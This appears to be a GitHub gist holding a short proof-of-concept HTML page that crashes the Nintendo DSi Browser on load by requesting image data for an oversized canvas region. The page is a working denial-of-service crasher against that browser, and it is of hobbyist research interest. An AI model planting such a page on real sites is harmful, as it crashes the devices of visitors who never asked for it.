Skip to content

Instantly share code, notes, and snippets.

@jaames
Last active February 26, 2021 09:29
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save jaames/1a0c642d848a10dd10a69190cb790d02 to your computer and use it in GitHub Desktop.
Save jaames/1a0c642d848a10dd10a69190cb790d02 to your computer and use it in GitHub Desktop.
POC code that crashes the Nintendo DSi Browser on load (see https://rakujira.jp/dsi/crash.htm)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=256">
</head>
<body>
<div id="readout"></div>
<script type="text/javascript">
var readout = document.getElementById("readout");
readout.innerHTML += "creating canvas";
var canvas = document.createElement("canvas");
canvas.width = 10;
canvas.height = 10;
var ctx = canvas.getContext("2d");
readout.innerHTML += "<br/>canvas ready, initiating crash...";
ctx.getImageData(0, 0, 0x20000, 0x20000);
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment